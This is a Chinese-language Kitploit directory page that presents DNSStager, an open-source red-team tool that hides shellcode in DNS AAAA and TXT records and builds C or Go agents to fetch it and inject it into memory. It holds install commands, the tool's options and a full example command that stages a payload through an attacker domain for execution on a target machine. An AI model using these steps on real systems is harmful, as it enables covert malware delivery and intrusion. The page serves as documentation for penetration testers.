Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
DNSStager — 将你的有效载荷隐藏在DNS中 | Kitploit
工具/GitHubGitHub/mhaskar/dnsstager
Payload生成漏洞利用命令与控制红队Payload 开发DNS 分析
GitHubmhaskar/dnsstager

DNSStager

将你的有效载荷隐藏在DNS中

查看仓库
6221333年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

什么是DNSStager?

DNSStager是一个基于Python的开源项目,用于使用DNS隐藏和传输你的载荷。

DNSStager将创建一个恶意的DNS服务器,处理针对你域名的DNS请求,并将你的载荷作为特定记录请求(如 AAAA 或 TXT 记录)的响应返回,在将其分块并使用不同算法编码后。

DNSStager可以生成用 C 或 GoLang 编写的自定义代理,该代理将解析一系列域名,检索载荷,解码载荷,并最终根据你选择的任何技术将其注入内存。

你可以随意编辑DNSStager代理的代码,并使用你自己的自定义执行技术进行构建。

使用DNSStager的主要目的是帮助红队/渗透测试人员通过DNS以隐蔽的信道传递其载荷。

它是如何工作的?

根据你的DNS解析选项,DNSStager会将你的载荷拆分成块,并将每个载荷块保存为子域的响应。

例如,如果你选择 IPV6 作为检索载荷的选项,DNS响应将类似于:

cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52

其中 5648:31d2:6548:8b52:6048:8b52:1848:8b52 是你载荷的一部分。

因此,代理将解析一些域名以检索载荷,然后解码载荷并最终将其注入内存。

目前,DNSStager仅支持两种记录:AAAA 和 TXT。你可以对 AAAA 记录使用XOR编码载荷,如果选择 TXT 记录,则默认将载荷编码为base64。

DNSStager关键特性:

DNSStager具有一些关键特性,例如:

  • 在 IPV6 记录中隐藏和解析你的载荷。
  • 在 TXT 记录中隐藏和解析你的载荷。
  • XOR编码器用于编码你的载荷。
  • Base64编码器用于编码你的载荷(仅适用于TXT记录)。
  • 纯 C 编写的代理,可自定义。
  • 纯 GoLang 编写的代理,可自定义。
  • 能够在每次DNS请求之间使用休眠。
  • 更多功能即将推出!

要求

你可以通过以下命令安装DNSStager的Python要求:

pip3 install -r requirements.txt

你需要安装 GoLang 版本 1.16.3,并确保安装以下 GoLang 包:

  • golang.org/x/sys
  • github.com/miekg/dns

另外,确保通过以下命令安装 ming-w64:

apt install mingw-w64

脚本 setup.sh 应该为你自动完成这些操作,但使用前请仔细检查要求!

安装

要获取最新版本的DNSStager,请使用以下命令从此仓库克隆:

git clone https://github.com/mhaskar/DNSStager

然后,你需要使用以下命令安装要求:

pip3 install -r requirements.txt

同时确保也已安装前面提到的所有要求。

完成上述操作后,你就可以 以root身份 执行DNSStager,以获得以下输出:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py                                                                                                                 

    
                                                                                          
                                                                                          
██████  ███    ██ ███████ ███████ ████████  █████   ██████  ███████ ██████  
██   ██ ████   ██ ██      ██         ██    ██   ██ ██       ██      ██   ██ 
██   ██ ██ ██  ██ ███████ ███████    ██    ███████ ██   ███ █████   ██████  
██   ██ ██  ██ ██      ██      ██    ██    ██   ██ ██    ██ ██      ██   ██ 
██████  ██   ████ ███████ ███████    ██    ██   ██  ██████  ███████ ██   ██ 
                                                                            
                                                                                                                                                            
                                                                                              

    Stable v1.0                           Hide your payload in DNS
    
[-] Please specify a domain name using --domain

用法

要开始使用DNSStager,请先设置你的DNS设置,你需要将你的域名以 NS记录 的形式指向DNSStager实例,以便处理对你域名的所有DNS请求。

你可以阅读这篇完整文章了解如何设置和使用DNSStager。

你也可以使用 -h 参数查看选项,如下所示:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py -h                                                                                                         
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT] [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP]
                    [--format FORMAT]

DNSStager main parser

optional arguments:
  -h, --help            show this help message and exit
  --domain DOMAIN       The domain you want to use as staging host
  --payloads            show all payloads
  --prefix PREFIX       Prefix to use as part of your subdomain schema
  --payload PAYLOAD     Payload to use, see --payloads for more details
  --output OUTPUT       Agent output path
  --shellcode_path SHELLCODE_PATH
                        Shellcode file path
  --xorkey XORKEY       XOR key to encode your payload with
  --sleep SLEEP         sleep for N seconds between each DNS request
  --format FORMAT       payload format (.dll or .exe)
  --tcp                 Start and use the DNS server via TCP protocol
  • --domain:你可以使用此选项选择将用于处理DNS请求的主域名。

  • --prefix:用于子域架构的前缀。例如,如果你的主域名是 fakedns.live,你可以将前缀指定为 "cdn",那么生成的域名将呈现如下模式:

    • cdn0.fakedns.live
    • cdn1.fakedns.live
    • cdnN.fakedns.live

    其中 N 是自动生成的数字,代表你载荷的块数。

  • --payload:你希望根据技术、编程语言和架构生成的DNSStager载荷“代理”。

  • --output:保存DNSStager可执行载荷“代理”的输出路径。

  • --shellcode_path:你的 raw/bin shellcode文件路径。

  • --xorkey:用于编码载荷的XOR密钥。

  • --sleep:用于在每次DNS请求之间休眠N秒。

  • --tcp:通过TCP协议启动并使用DNS服务器。

DNSStager载荷

要查看可用的DNSStager载荷,你可以使用 ./dnsstager.py --payloads,获得以下结果:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py --payloads                                                                                                

[+] 6 DNSStager payloads Available

x64/c/ipv6			Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code
x86/c/ipv6			Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code
x64/golang/txt			Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code
x64/golang/ipv6			Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code
x86/golang/txt			Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code
x86/golang/ipv6			Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code

使用IPV6的DNSStager示例

此示例将启动DNSStager,使用域名 test.mydnsserver.live 并以 cloud-srv- 为前缀,将你的载荷解析为 IPV6,生成编译后的 x64 C 代理,并使用密钥0x10进行编码:

sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10

输出为:

Alt text

要检查一切是否正常,我们可以向 cloud-srv-0.test.mydnsserver.live 发送DNS查询,获得以下结果:

Alt text

我们可以看到我们收到了 f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b 作为响应,这是我们编码载荷的前16个字节。

然后你可以在目标机器上执行代理 /tmp/a2.exe(如命令行中通过 --output 设置的那样),它将会下载所有必要的块,解码它们,并为你将它们注入内存。

资源

  • DNSStager v1.0稳定版:更隐蔽的代码、DLL代理及更多。
  • 揭秘DNSStager:一种将载荷隐藏在DNS中的工具。

许可证

本项目采用GPL-3.0许可证 - 详情请参见LICENSE文件。

下载工具